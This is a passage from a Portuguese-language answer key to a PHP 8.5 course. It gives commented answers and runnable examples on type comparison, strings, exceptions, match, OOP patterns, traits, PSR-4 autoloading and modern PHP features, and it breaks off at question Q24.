DOMINANDO O PHP

Caderno de Respostas

Gabarito comentado: 52 aulas de prática, do #01 ao #52

PHP 8.5 · Composer · 10 módulos · 71 questões · 2 desafios integradores

Autor Desconhecido · theknowledgeisle.com

Consulte este gabarito só depois de tentar.

As respostas são comentadas para ensinar, não só para conferir. Nos exercícios de código existem outras soluções igualmente válidas: o que importa é entender por que a sua funciona e o que ela troca em relação à mostrada aqui.

Os programas com um quadro verde de **Saída** foram executados com o PHP 8.5 (CLI) no Linux, e a saída mostrada é a real.

Sumário

Módulo	Tema	Aulas	Questões
MÓDULO 1	Fundamentos da linguagem	#01–#10	Q1–Q12
MÓDULO 2	Orientação a objetos e padrões de projeto	#11–#15	Q13–Q20
MÓDULO 3	PHP moderno: exceções, interfaces e traits avançados e o PHP 8.x	#16–#19	Q21–Q27
MÓDULO 4	Banco de dados, APIs e testes	#20–#25	Q28–Q37
MÓDULO 5	Arquitetura e escala	#26–#30	Q38–Q44
MÓDULO 6	Outros bancos: PostgreSQL, SQLite e MongoDB	#31–#33	Q45–Q49
MÓDULO 7	A web: formulários, sessões e segurança	#34–#40	Q50–Q56
MÓDULO 8	Laravel	#41–#45	Q57–Q61
MÓDULO 9	Segurança avançada, testes e produção	#46–#49	Q62–Q68
MÓDULO 10	Projeto final	#50–#52	Q69–Q71
DESAFIOS	Desafios integradores	todas	D1–D2

MÓDULO 1

Fundamentos da linguagem

O que é o PHP e de onde veio, o ambiente, variáveis e tipos, decisões, laços, funções, arrays, strings e o tratamento de erros.

Artigos 01 a 10

#01 O que é PHP e por que ele ainda importa
#02 A História do PHP: de script pessoal a pilar da web
#03 Configurando o Ambiente de Desenvolvimento
#04 Variáveis, Tipos de Dados e Operadores
#05 Estruturas de Controle
#06 Estruturas de Repetição
#07 Funções
#08 Arrays em Profundidade
#09 Strings em Profundidade
#10 Tratamento de Erros e Exceções

Perguntas conceituais — respostas

Q1 O ciclo de uma requisição

> *Descreva o que acontece entre o navegador pedir `/produtos.php` e receber o HTML. Por que se diz que o PHP tem um modelo "shared nothing", e que consequência isso tem para variáveis globais?*

O servidor web (Apache, ou nginx com PHP-FPM) recebe a requisição, entrega o script ao interpretador, que compila o código para *opcodes* (o OPcache guarda essa compilação entre requisições), executa, e o que o script imprime vira o corpo da resposta. Ao fim da requisição, **tudo** é descartado: variáveis, objetos, conexões não persistentes. A requisição seguinte começa do zero, sem compartilhar nada com a anterior. A consequência: uma variável global ou estática não guarda nada entre visitas. Para lembrar algo, é preciso sessão, *cookie*, banco ou cache. A vantagem é o isolamento: um erro numa requisição não contamina as outras, e escalar é só acrescentar processos.

Q2 Comparação fraca e estrita

> *Qual o resultado de cada comparação no PHP 8, e por que o `===` é o padrão recomendado? `0 == "a"`, `"1" == "01"`, `"abc" == 0`, `null == false`, `"1e3" == "1000"`.*

- `0 == "a"`: **false** no PHP 8 (era `true` no PHP 7, quando a string virava 0). Hoje, comparar número com string não numérica compara como strings.
- `"1" == "01"`: **true**: duas strings numéricas são comparadas como números.
- `"abc" == 0`: **false**, pela mesma regra do primeiro caso.
- `null == false`: **true**: os dois viram `false`.
- `"1e3" == "1000"`: **true**: "1e3" é uma string numérica (notação científica) e vale 1000.

O `===` compara **valor e tipo**, sem conversão: o resultado é previsível sem decorar tabela nenhuma. O `==` ainda tem casos surpreendentes, como o último, que já causou falhas de segurança em comparações de

hashes ("0e123" == "0e456" é `true`). Para senhas e *tokens*, nem `===`: use `hash_equals`, que leva o mesmo tempo qualquer que seja a diferença.

Q3 declare(strict_types=1)

> *O que muda num arquivo com `declare(strict_types=1);` na chamada `somar("5", 3)` de uma função `function somar(int $a, int $b): int`? O efeito vale para o arquivo onde a função foi declarada ou onde foi chamada?*

Sem `strict_types`, o PHP **converte** "5" para 5 (modo coercitivo) e a chamada funciona; uma string como "5 maçãs" lança `TypeError`. Com `strict_types=1`, qualquer tipo diferente do declarado lança `TypeError`, exceto `int` passado onde se espera `float`, que continua permitido. O efeito vale **no arquivo onde a chamada acontece**: é quem chama que escolhe o modo. Por isso a declaração vai no topo de todo arquivo do projeto, e é comum exigi-la num *linter*.

Q4 Arrays: lista ou mapa

> *O `array` do PHP serve de lista, mapa, pilha e fila. O que `array_is_list()` verifica, e por que `unset($lista[1])` seguido de `json_encode($lista)` costuma surpreender?*

Por dentro, todo `array` do PHP é um **mapa ordenado** (chave → valor, lembrando a ordem de inserção). Uma "lista" é só um array cujas chaves são 0, 1, 2... em sequência, e é isso que `array_is_list()` (PHP 8.1) verifica. O `unset($lista[1])` remove o elemento **e a chave**, sem renumerar: sobram as chaves 0 e 2. O `json_encode` então não pode gerar um array JSON (que não tem chaves) e gera um **objeto**: `{"0":"a","2":"c"}`. Um cliente JavaScript que esperava `["a","c"]` quebra. A correção é renumerar com `array_values($lista)`, ou filtrar com `array_filter` seguido de `array_values`.

Q5 strlen ou mb_strlen

> *Por que `strlen("ação")` devolve 6, e `mb_strlen("ação")` devolve 4? Que outras funções têm a mesma armadilha?*

As funções clássicas de string do PHP (`strlen`, `substr`, `strtoupper`, `str_pad`, `strrev`, `ucfirst`) trabalham com **bytes**. Em UTF-8, "ç" e "ã" ocupam dois bytes cada: 4 letras, 6 bytes. As funções `mb_*` (`mb_strlen`, `mb_substr`, `mb_strtoupper`, `mb_str_pad` no PHP 8.3) entendem a codificação e trabalham com caracteres. Cortar com `substr` no meio de um caractere de dois bytes produz um texto inválido, que aparece como "". Regra: para texto em português, use as `mb_*` sempre que o tamanho ou a posição importarem.

Q6 Exception, Error e Throwable

> *No PHP 8, qual a diferença entre `Exception` e `Error`? Por que `catch (Exception $e)` não captura uma divisão por zero ou um `TypeError`?*

As duas implementam a interface `Throwable`, mas são hierarquias separadas. `Exception` é para **condições de erro da aplicação** que o código pode prever e tratar (arquivo não encontrado, validação). `Error` representa **erros do motor**, geralmente bugs: `TypeError`, `ValueError`, `DivisionByZeroError`, chamada a método inexistente. Como `Error` não herda de `Exception`, um `catch (Exception $e)` não o captura. Isso é

propositalt: bugs não devem ser engolidos por um tratamento genérico. Para um registro de último nível (o *handler* que grava o log e mostra a página de erro 500), captura-se `Throwable`.

Exercícios de código — respostas

Q7 Tabela de tipos

Escreva um programa que percorra os valores `0`, `"0"`, `""`, `"0.0"`, `[]`, `null`, `"false"` e `0.0` e mostre, para cada um, o tipo (`get_debug_type`), se é "verdadeiro" num `if` e se `empty()` o considera vazio. Qual deles surpreende?

```php
<?php
declare(strict_types=1);

$valores = [0, "0", "", "0.0", [], null, "false", 0.0];
printf("%-9s %-7s %-6s %s\n", "valor", "tipo", "if", "empty");
foreach ($valores as $v) {
    printf(
        "%-9s %-7s %-6s %s\n",
        json_encode($v),
        get_debug_type($v),
        $v ? "true" : "false",
        empty($v) ? "sim" : "não",
    );
}
```

Saída

```
valor     tipo    if     empty
0         int     false  sim
"0"       string  false  sim
""        string  false  sim
"0.0"     string  true   não
[]        array   false  sim
null      null    false  sim
"false"   string  true   não
0         float   false  sim
```

A surpresa é a string `"0"`: é **falsa**, enquanto `"0.0"` e `"false"` são verdadeiras. O PHP trata `"0"` como falsa por herança dos formulários, onde todo valor chega como texto. Por isso `if ($quantidade)` falha quando o usuário digita 0, e `empty($_POST['qtd'])` também. Para checar se um campo veio, use `isset` ou `array_key_exists`; para comparar, `=== ""` ou `=== null`.

Q8 match no lugar de switch

Reescreva com `match` uma função que classifica o código HTTP: 200 a 299 "sucesso", 301, 302 e 307 "redirecionamento", 404 "não encontrado", 400 a 499 "erro do cliente", 500 a 599 "erro do servidor". Mostre o que acontece com o código 99.

```php
<?php
declare(strict_types=1);

function classificar(int $codigo): string
{
    return match (true) {
        $codigo >= 200 && $codigo <= 299 => "sucesso",
        in_array($codigo, [301, 302, 307], true) => "redirecionamento",
        $codigo === 404 => "não encontrado",
        $codigo >= 400 && $codigo <= 499 => "erro do cliente",
        $codigo >= 500 && $codigo <= 599 => "erro do servidor",
    };
}

foreach ([200, 302, 404, 422, 503, 99] as $c) {
    try {
        echo "$c: ", classificar($c), "\n";
    } catch (\UnhandledMatchError $e) {
        echo "$c: ", $e->getMessage(), "\n";
    }
}
```

Saída

```
200: sucesso
302: redirecionamento
404: não encontrado
422: erro do cliente
503: erro do servidor
99: 99: Unhandled match case of type bool
```

O `match` compara com `===` (sem conversões), devolve um valor e **não tem fall-through**: não existe `break` para esquecer. Quando nenhum braço casa, ele lança `UnhandledMatchError`, em vez de seguir em silêncio como o `switch` sem `default`. A mensagem fala em "*of type bool*" porque o valor comparado é o `true` do `match (true)`, e não o código. O `match (true)` é o idioma para faixas: cada braço é uma condição, e vence a primeira verdadeira, por isso o 404 vem antes da faixa 400–499.

Q9 Funções com tipos, padrões e argumentos nomeados

Escreva `function formatarPreco(float $valor, string $moeda = "R$", int $casas = 2, bool $milhar = true): string` com `number_format` no padrão brasileiro. Chame-a com argumentos nomeados, pulando parâmetros. Depois escreva uma função variádica `somarTodos(int ...$numeros): int` e chame-a espalhando um array.

```php
<?php
declare(strict_types=1);

function formatarPreco(float $valor, string $moeda = "R$", int $casas = 2, bool $milhar = true):
string
{
    return $moeda . " " . number_format($valor, $casas, ",", $milhar ? "." : "");
}

function somarTodos(int ...$numeros): int
{
    return array_sum($numeros);
}

echo formatarPreco(1234.5), "\n";
echo formatarPreco(1234.5, milhar: false), "\n";
echo formatarPreco(99.999, casas: 0, moeda: "US$"), "\n";

$itens = [10, 20, 30];
echo somarTodos(...$itens), " | ", somarTodos(), "\n";
```

Saída

```
R$ 1.234,50
R$ 1234,50
US$ 100
60 | 0
```

Os argumentos nomeados (PHP 8.0) permitem pular parâmetros com padrão e deixam a chamada legível: `milhar: false` diz o que faz, enquanto `formatarPreco(1234.5, "R$", 2, false)` obriga a consultar a assinatura. A contrapartida é que o nome do parâmetro passa a fazer parte da API: renomeá-lo quebra quem chama. O `number_format` arredonda (99,999 vira 100); para dinheiro de verdade, os valores devem ficar em centavos inteiros ou em `bcmath`, nunca em `float`.

Q10 Manipulando arrays sem laços

Dado um array de pedidos (`cliente`, `valor`, `status`), use `array_filter`, `array_map`, `array_column`, `array_sum` e `usort` para: (a) os pedidos pagos; (b) o total pago; (c) os nomes dos clientes com pedido pago, sem repetição e em ordem alfabética; (d) os pedidos ordenados por valor decrescente. Use o operador pipe `|>` do PHP 8.5 em um dos casos.

```php
<?php
declare(strict_types=1);

$pedidos = [
    ["cliente" => "Carla", "valor" => 120.0, "status" => "pago"],
    ["cliente" => "Ana", "valor" => 80.0, "status" => "pendente"],
    ["cliente" => "Bruno", "valor" => 200.0, "status" => "pago"],
    ["cliente" => "Ana", "valor" => 45.5, "status" => "pago"],
];

$pagos = array_filter($pedidos, fn(array $p): bool => $p["status"] === "pago");
echo "(a) ", count($pagos), " pedidos pagos\n";
echo "(b) total pago: ", array_sum(array_column($pagos, "valor")), "\n";

$nomes = $pagos
    |> (fn($ps) => array_column($ps, "cliente"))
    |> array_unique(...)
    |> (function (array $n): array { sort($n); return $n; });
echo "(c) ", implode(", ", $nomes), "\n";

$ordenados = $pedidos;
usort($ordenados, fn(array $a, array $b): int => $b["valor"] <=> $a["valor"]);
echo "(d) ", implode(" > ", array_map(fn($p) => "{$p['cliente']} {$p['valor']}", $ordenados)),
"\n";
```

Saída

```
(a) 3 pedidos pagos
(b) total pago: 365.5
(c) Ana, Bruno, Carla
(d) Bruno 200 > Carla 120 > Ana 80 > Ana 45.5
```

O `array_filter` **preserva as chaves**: `$pagos` tem as chaves 0, 2 e 3, o que não atrapalha aqui, mas atrapalharia um `json_encode` (veja a pergunta sobre listas). O pipe `|>` passa o resultado da esquerda como único argumento da direita: lê de cima para baixo, na ordem em que as coisas acontecem, em vez de `sort(array_unique(array_column(...)))` de dentro para fora. O `sort` altera o array por referência e devolve `bool`, por isso precisa da função anônima. O `<=>` (nave espacial) devolve -1, 0 ou 1, exatamente o que o `usort` espera.

Q11 Strings com acentos

> *Escreva `function slug(string $texto): string` que transforme "Ação & Reação: o Básico do PHP!" em `acao-reacao-o-basico-do-php`, removendo acentos com `iconv` ou com a extensão `intl`, trocando o que não é letra ou dígito por hífen e eliminando hífens repetidos e nas pontas. Mostre também a diferença entre `strtoupper` e `mb_strtoupper` no mesmo texto.*

```php
<?php
declare(strict_types=1);

function slug(string $texto): string
{
    $semAcento = transliterator_transliterate("Any-Latin; Latin-ASCII; Lower()", $texto);
    $slug = preg_replace("/[^a-z0-9]+/", "-", $semAcento);
    return trim($slug, "-");
}

$titulo = "Ação & Reação: o Básico do PHP!";
echo slug($titulo), "\n";
echo slug("  Coração   São João  "), "\n";
echo "strtoupper:    ", strtoupper("ação"), "\n";
echo "mb_strtoupper: ", mb_strtoupper("ação"), "\n";
echo "strlen: ", strlen("ação"), " | mb_strlen: ", mb_strlen("ação"), "\n";
```

Saída

```
acao-reacao-o-basico-do-php
coracao-sao-joao
strtoupper:    AçãO
mb_strtoupper: AÇÃO
strlen: 6 | mb_strlen: 4
```

O `transliterator_transliterate` (extensão `intl`) converte qualquer escrita para ASCII de forma confiável; o `iconv("UTF-8", "ASCII//TRANSLIT", ...)` também funciona, mas o resultado depende da biblioteca C e do *locale* do servidor. O `strtoupper`, desde o PHP 8.2, só converte letras ASCII e deixa os bytes de "ç" e "ã" intactos, por isso sai "AçãO". É o mesmo tipo de função que gera os *slugs* das URLs deste site.

Q12 Exceções em camadas

> *Escreva uma função `lerConfiguracao(string $arquivo): array` que lance uma exceção própria `ConfiguracaoException` quando o arquivo não existe ou o JSON é inválido, encadeando a exceção original (`previous`). Use `json_decode` com `JSON_THROW_ON_ERROR`. No código que chama, mostre a mensagem e a causa, e use `finally`.*

```php
<?php
declare(strict_types=1);

final class ConfiguracaoException extends RuntimeException {}

function lerConfiguracao(string $arquivo): array
{
    if (!is_file($arquivo)) {
        throw new ConfiguracaoException("arquivo de configuração não encontrado: $arquivo");
    }
    try {
        return json_decode(file_get_contents($arquivo), true, flags: JSON_THROW_ON_ERROR);
    } catch (JsonException $e) {
        throw new ConfiguracaoException("configuração inválida em $arquivo", previous: $e);
    }
}

file_put_contents("ok.json", '{"site": "Livraria", "itensPorPagina": 12}');
file_put_contents("quebrado.json", '{"site": "Livraria",');

foreach (["ok.json", "quebrado.json", "nao-existe.json"] as $arq) {
    try {
        $cfg = lerConfiguracao($arq);
        echo "$arq: {$cfg['site']}, {$cfg['itensPorPagina']} por página\n";
    } catch (ConfiguracaoException $e) {
        echo "$arq: {$e->getMessage()}";
        echo $e->getPrevious() ? " (causa: {$e->getPrevious()->getMessage()})\n" : "\n";
    } finally {
        echo "  -> verificado\n";
    }
}
```

Saída

```
ok.json: Livraria, 12 por página
  -> verificado
quebrado.json: configuração inválida em quebrado.json (causa: Syntax error)
  -> verificado
nao-existe.json: arquivo de configuração não encontrado: nao-existe.json
  -> verificado
```

O `JSON_THROW_ON_ERROR` (PHP 7.3) faz o `json_decode` lançar em vez de devolver `null` em silêncio, o que eliminava a dúvida entre "o JSON era `null`" e "o JSON estava quebrado". Encadear com `previous` preserva a causa técnica para o log, enquanto a mensagem da exceção própria fala a língua de quem chama.

MÓDULO 2

Orientação a objetos e padrões de projeto

Classes e objetos, herança, interfaces e traits, namespaces, PSR-4 e Composer, e os padrões Singleton, Factory, Builder, Observer, Decorator e Strategy.

Artigos 11 a 15

#11 Orientação a Objetos: Fundamentos
#12 Herança, Interfaces e Traits
#13 Namespaces, Autoloading, PSR-4 e Composer
#14 Design Patterns: Singleton, Factory e Builder
#15 Observer, Decorator e Strategy

Perguntas conceituais — respostas

Q13 Visibilidade e encapsulamento

> *Qual a diferença entre `public`, `protected` e `private`? Por que expor uma propriedade `public float $saldo` numa classe `Conta` é um problema, e como o PHP 8.4 resolve isso com visibilidade assimétrica?*

`public` é acessível de qualquer lugar; `protected`, da própria classe e das filhas; `private`, só da própria classe. Com `public float $saldo`, qualquer linha do sistema pode fazer `$conta->saldo = -1000`, sem passar pelas regras de saque e depósito: a classe não consegue proteger a própria invariante. A solução clássica é `private` com um *getter*. O PHP 8.4 permite declarar a leitura e a escrita com visibilidades diferentes: `public private(set) float $saldo`. Todos leem `$conta->saldo` direto, sem *getter*, mas só a própria classe altera.

Q14 Herança, interface ou trait

> *Para cada caso, escolha entre herança, interface e trait: (a) várias classes de pagamento (Pix, cartão, boleto) que precisam de um método `pagar()`, com implementações totalmente diferentes; (b) as classes `Produto`, `Pedido` e `Cliente`, que precisam dos mesmos métodos `criadoEm()` e `atualizadoEm()` com o mesmo código; (c) `Administrador`, que é um `Usuario` com permissões a mais.*

- (a) **Interface** `MeioDePagamento`: o que se compartilha é o **contrato**, não o código.
- (b) **Trait** `TemTimestamps`: é **código** idêntico em classes sem relação "é um" entre si. A trait é colada na classe pelo compilador, como um "copiar e colar" com verificação.
- (c) **Herança**: o administrador **é** um usuário, e herda estado e comportamento.

A regra prática é preferir composição e interfaces, e usar herança só quando a relação "é um" for verdadeira e estável. Traits são cômodas, mas escondem dependências: uma trait que usa `$this->id` só funciona em classes que têm esse `id`.

Q15 O que o Composer resolve

> *O que fazem o `composer.json`, o `composer.lock` e o `vendor/autoload.php`? Por que o `composer.lock` vai para o repositório de uma aplicação, e o `vendor/` não?*

- `composer.json`: declara as dependências e as **faixas de versão** aceitas (`"monolog/monolog": "^3.0"`), além do mapa de *autoload* (PSR-4).
- `composer.lock`: registra as versões **exatas** instaladas, com os *hashes*. O `composer install` instala exatamente o que está nele; o `composer update` recalcula as versões dentro das faixas e o reescreve.
- `vendor/autoload.php`: o *autoloader* gerado, que carrega cada classe sob demanda a partir do *namespace*, sem nenhum `require` manual.

O `.lock` é versionado para que todos (os colegas, o CI e a produção) instalem **as mesmas** versões. O `vendor/` não é versionado porque é reproduzível a partir do `.lock` (`composer install`), é grande e muda a cada atualização.

Q16 Singleton: quando não usar

> *O Singleton garante uma única instância de uma classe, como a conexão com o banco. Por que ele é considerado um antipadrão na maioria dos casos, e qual a alternativa?*

O Singleton é um **estado global disfarçado**: qualquer código pode chamar `Banco::instancia()` de qualquer lugar, então as dependências de uma classe ficam escondidas dentro dos métodos dela, e não visíveis no construtor. Isso dificulta os testes (não dá para trocar o banco por um falso sem truques), acopla o código à classe concreta e mantém estado entre testes que deveriam ser independentes. A alternativa é a **injeção de dependência**: a classe recebe o `PDO` pelo construtor, e um contêiner (ou o próprio `index.php`) cria uma instância só e a repassa. "Uma instância só" vira uma decisão de configuração, e não uma regra imposta pela classe.

Exercícios de código — respostas

Q17 Uma conta com regras

> *Escreva `final class Conta` com o titular, o saldo (`public private(set)`, PHP 8.4) e os métodos `depositar` e `sacar`, que recusam valores não positivos e saques acima do saldo com exceções. Trabalhe em centavos (`int`). Mostre que tentar alterar o saldo de fora causa um `Error`.*

```php
<?php
declare(strict_types=1);

final class Conta
{
    public private(set) int $saldoCentavos = 0;

    public function __construct(public readonly string $titular) {}

    public function depositar(int $centavos): void
    {
        if ($centavos <= 0) {
            throw new InvalidArgumentException("depósito deve ser positivo");
        }
        $this->saldoCentavos += $centavos;
    }

    public function sacar(int $centavos): void
    {
        if ($centavos <= 0) {
            throw new InvalidArgumentException("saque deve ser positivo");
        }
        if ($centavos > $this->saldoCentavos) {
            throw new DomainException("saldo insuficiente");
        }
        $this->saldoCentavos -= $centavos;
    }
}

$c = new Conta("Ana");
$c->depositar(10_000);
$c->sacar(2_550);
printf("%s tem R$ %s\n", $c->titular, number_format($c->saldoCentavos / 100, 2, ",", "."));

foreach ([fn() => $c->sacar(100_000), fn() => $c->depositar(-5), fn() => $c->saldoCentavos = 1]
as $tentativa) {
    try {
        $tentativa();
    } catch (Throwable $e) {
        echo get_class($e), ": ", $e->getMessage(), "\n";
    }
}
```

Saída

```
Ana tem R$ 74,50
DomainException: saldo insuficiente
InvalidArgumentException: depósito deve ser positivo
Error: Cannot modify private(set) property Conta::$saldoCentavos from global scope
```

O `DomainException` (regra de negócio) e o `InvalidArgumentException` (argumento inválido) permitem a quem chama tratar os dois casos de forma diferente. O `Error` da terceira tentativa é o motor do PHP

recusando a escrita: não há como o código de fora contornar a regra. A promoção de propriedade no construtor (`public readonly string $titular`) declara e atribui numa linha só.

Q18 **Interfaces e um padrão Strategy**

Defina `interface CalculoFrete { public function calcular(float $pesoKg, string $uf): float; }` e três estratégias: `FreteFixo`, `FretePorPeso` (R$ 5 por kg, mínimo R$ 12) e `FreteGratisAcimaDe` (um decorator que recebe outra estratégia e zera o frete quando o valor do pedido passa de um limite). Calcule o frete de dois pedidos com cada uma.

```php
<?php
declare(strict_types=1);

interface CalculoFrete
{
    public function calcular(float $pesoKg, string $uf, float $valorPedido): float;
}

final class FreteFixo implements CalculoFrete
{
    public function __construct(private float $valor) {}
    public function calcular(float $pesoKg, string $uf, float $valorPedido): float
    {
        return $this->valor;
    }
}

final class FretePorPeso implements CalculoFrete
{
    public function calcular(float $pesoKg, string $uf, float $valorPedido): float
    {
        return max(12.0, 5.0 * $pesoKg);
    }
}

final class FreteGratisAcimaDe implements CalculoFrete
{
    public function __construct(private CalculoFrete $base, private float $limite) {}
    public function calcular(float $pesoKg, string $uf, float $valorPedido): float
    {
        return $valorPedido > $this->limite ? 0.0 : $this->base->calcular($pesoKg, $uf,
$valorPedido);
    }
}

$estrategias = [
    "fixo" => new FreteFixo(15.0),
    "por peso" => new FretePorPeso(),
    "grátis acima de 200 (sobre por peso)" => new FreteGratisAcimaDe(new FretePorPeso(), 200.0),
];
foreach ($estrategias as $nome => $e) {
    printf("%-37s 1 kg/R$ 50: %5.2f | 4 kg/R$ 250: %5.2f\n", $nome, $e->calcular(1, "SP", 50),
$e->calcular(4, "SP", 250));
}
```

Saída

```
fixo                                1 kg/R$ 50: 15.00 | 4 kg/R$ 250: 15.00
por peso                            1 kg/R$ 50: 12.00 | 4 kg/R$ 250: 20.00
grátis acima de 200 (sobre por peso) 1 kg/R$ 50: 12.00 | 4 kg/R$ 250:  0.00
```

A interface ganhou o `$valorPedido` porque o *decorator* precisa dele: um contrato evolui com as estratégias, e é melhor perceber isso cedo. O *decorator* `FreteGratisAcimaDe` **implementa** a mesma interface e **envolve**

outra estratégia: pode envolver qualquer uma, inclusive outro *decorator*, sem criar subclasses para cada combinação. O código que usa o frete continua recebendo só um `CalculoFrete`.

Repare que a última linha saiu desalinhada por uma coluna: o `%-37s` do `printf` conta **bytes**, e o "á" de "grátis" ocupa dois. É o mesmo problema do `strlen` do módulo 1; para alinhar texto com acentos, complete com `mb_str_pad` (PHP 8.3) antes de imprimir.

Q19 Uma trait de timestamps

> *Escreva a trait `TemTimestamps`, com as propriedades `criadoEm` e `atualizadoEm` (`DateTimeImmutable`) e os métodos `marcarCriacao()` e `tocar()`, e use-a em `Produto` e `Cliente`. Use um relógio fixo (uma função que devolve sempre a mesma data) para que a saída seja previsível.*

```php
<?php
declare(strict_types=1);

trait TemTimestamps
{
    private ?DateTimeImmutable $criadoEm = null;
    private ?DateTimeImmutable $atualizadoEm = null;

    public function marcarCriacao(DateTimeImmutable $agora): void
    {
        $this->criadoEm = $this->atualizadoEm = $agora;
    }

    public function tocar(DateTimeImmutable $agora): void
    {
        $this->atualizadoEm = $agora;
    }

    public function descreverDatas(): string
    {
        return sprintf("criado %s, atualizado %s", $this->criadoEm?->format("d/m H:i"), $this-
>atualizadoEm?->format("d/m H:i"));
    }
}

final class Produto
{
    use TemTimestamps;
    public function __construct(public string $nome) {}
}

final class Cliente
{
    use TemTimestamps;
    public function __construct(public string $email) {}
}

$inicio = new DateTimeImmutable("2026-03-10 09:00");
$p = new Produto("Vidas Secas");
$p->marcarCriacao($inicio);
$p->tocar($inicio->modify("+2 days 3 hours"));

$c = new Cliente("ana@exemplo.com");
$c->marcarCriacao($inicio->modify("+1 hour"));

echo "Produto: ", $p->descreverDatas(), "\n";
echo "Cliente: ", $c->descreverDatas(), "\n";
echo "Produto usa a trait? ", in_array(TemTimestamps::class, class_uses($p), true) ? "sim" :
"não", "\n";
```

Saída

```
Produto: criado 10/03 09:00, atualizado 12/03 12:00
Cliente: criado 10/03 10:00, atualizado 10/03 10:00
Produto usa a trait? sim
```

Passar o "agora" como parâmetro, em vez de chamar `new DateTimeImmutable()` dentro da trait, é o que torna o código **testável**: nos testes, o tempo é fixo; em produção, quem chama passa a hora atual (ou um relógio PSR-20, `ClockInterface`). O `DateTimeImmutable` devolve um objeto novo a cada `modify`, sem alterar o original; com o `DateTime` mutável, o `$inicio` mudaria a cada `modify` e as datas sairiam erradas.

Q20 Autoload PSR-4 sem Composer

Para entender o que o Composer faz, escreva um autoloader PSR-4 com `spl_autoload_register` que mapeie o namespace `Livraria\` para a pasta `src/`. Crie, a partir do próprio programa, as classes `Livraria\Dominio\Livro` e `Livraria\Servicos\Catalogo` em arquivos separados, e use-as sem nenhum `require` delas.

```php
<?php
declare(strict_types=1);

// Cria a estrutura de pastas e arquivos que, num projeto real, já existiria.
@mkdir("src/Dominio", 0777, true);
@mkdir("src/Servicos", 0777, true);
file_put_contents("src/Dominio/Livro.php", <<<'PHP'
<?php
namespace Livraria\Dominio;

final class Livro
{
    public function __construct(public readonly string $titulo, public readonly float $preco) {}
}
PHP);
file_put_contents("src/Servicos/Catalogo.php", <<<'PHP'
<?php
namespace Livraria\Servicos;

use Livraria\Dominio\Livro;

final class Catalogo
{
    /** @var list<Livro> */
    private array $livros = [];
    public function adicionar(Livro $l): void { $this->livros[] = $l; }
    public function maisBarato(): ?Livro
    {
        $ordenados = $this->livros;
        usort($ordenados, fn($a, $b) => $a->preco <=> $b->preco);
        return $ordenados[0] ?? null;
    }
}
PHP);

spl_autoload_register(function (string $classe): void {
    $prefixo = "Livraria\\";
    if (!str_starts_with($classe, $prefixo)) {
        return;  // não é nossa: deixa para outro autoloader
    }
    $relativo = substr($classe, strlen($prefixo));
    $arquivo = __DIR__ . "/src/" . str_replace("\\", "/", $relativo) . ".php";
    echo "  [autoload] $classe -> src/", str_replace("\\", "/", $relativo), ".php\n";
    if (is_file($arquivo)) {
        require $arquivo;
    }
});

use Livraria\Dominio\Livro;
use Livraria\Servicos\Catalogo;

$cat = new Catalogo();
$cat->adicionar(new Livro("Vidas Secas", 49.9));
```

```
$cat->adicionar(new Livro("Iracema", 25.0));
echo "Mais barato: ", $cat->maisBarato()?->titulo, "\n";
```

Saída

```
  [autoload] Livraria\Servicos\Catalogo -> src/Servicos/Catalogo.php
  [autoload] Livraria\Dominio\Livro -> src/Dominio/Livro.php
Mais barato: Iracema
```

Cada classe é carregada **só na primeira vez em que é usada**, e na ordem do uso: o `Catalogo` antes do `Livro`, porque é criado antes. A regra PSR-4 é só isso: prefixo do *namespace* → pasta base, e o resto do nome → caminho do arquivo. O Composer gera o mesmo mapeamento a partir de `"autoload": {"psr-4": {"Livraria\\": "src/"}}`; com `composer dump-autoload -o`, ele gera também um mapa de classes, que evita consultar o disco. O `@` antes do `mkdir` só silencia o aviso quando a pasta já existe.

MÓDULO 3

PHP moderno: exceções, interfaces e traits avançados e o PHP 8.x

Hierarquias de exceções, interfaces da SPL, traits com conflitos e métodos abstratos, e os recursos do PHP 8.0 ao 8.5: enums, readonly, match, property hooks e o pipe.

Artigos 16 a 19

#16 Exceções Avançadas
#17 Interfaces Avançadas
#18 Traits Avançados
#19 PHP 8.x Moderno

Perguntas conceituais — respostas

Q21 Enums com comportamento

O que um `enum StatusPedido: string` (backed enum) oferece a mais que um conjunto de constantes `const PAGO = 'pago'`? Para que servem `from` e `tryFrom`?

Com constantes, um parâmetro `string $status` aceita qualquer texto, inclusive `"pgo"`. Com `StatusPedido $status`, só os casos do enum passam, e o erro aparece no **tipo**, verificado pelo PHP. Um enum também pode ter **métodos** (`$status->rotulo()`, `$status->podeIrPara($outro)`), implementar interfaces e listar os casos com `cases()`. O *backed enum* associa cada caso a um valor escalar (`case Pago = 'pago';`), que é o que vai para o banco e para o JSON. O `from('pago')` converte de volta e lança `ValueError` para valor desconhecido; o `tryFrom` devolve `null`. Use `tryFrom` para dados externos (formulário, JSON), tratando o `null`, e `from` onde um valor inválido é um bug.

Q22 readonly e imutabilidade

O que garante uma propriedade `readonly`? Por que um objeto `readonly` que contém um array de objetos ainda pode mudar "por dentro"? O que o PHP 8.5 trouxe para criar cópias alteradas?

Uma propriedade `readonly` só pode ser inicializada **uma vez**, de dentro da classe (normalmente no construtor); qualquer nova atribuição lança `Error`. A garantia é **rasa**: se a propriedade guarda um objeto, a **referência** é fixa, mas o objeto apontado continua mutável (`$pedido->cliente->email = '...'` funciona se `Cliente` não for imutável). Um array `readonly` não pode ser alterado, mas os objetos dentro dele podem. Para a imutabilidade valer de verdade, os objetos internos também precisam ser imutáveis. Para criar uma cópia com um campo diferente, era preciso o padrão `withX()` reconstruindo o objeto; o PHP 8.5 trouxe o `clone($objeto, ['preco' => 10])`, que clona e altera propriedades na mesma operação, inclusive as `readonly`.

Q23 Property hooks

O PHP 8.4 trouxe os property hooks. Mostre como uma propriedade `public string $email` pode normalizar o valor (minúsculas, sem espaços) a cada escrita, sem getter nem setter. Que vantagem isso tem sobre os métodos `setEmail()`?

```
public string $email {
    set(string $valor) {
        $this->email = strtolower(trim($valor));
    }
}
```

O *hook* `set` roda a cada atribuição (`$cliente->email = " Ana@X.com "`), e quem usa a classe continua escrevendo e lendo a propriedade normalmente. A vantagem sobre `setEmail()` é que a classe pode **começar** com uma propriedade pública simples e ganhar a regra depois, sem mudar nenhum código que a usa. Antes dos *hooks*, a prudência obrigava a escrever *getters* e *setters* desde o primeiro dia, por precaução. Há também o *hook* `get`, para propriedades calculadas (`public string $nomeCompleto { get => "$this->nome $this->sobrenome"; }`).

Exercícios de código — respostas

Q24 Um enum de status com regras

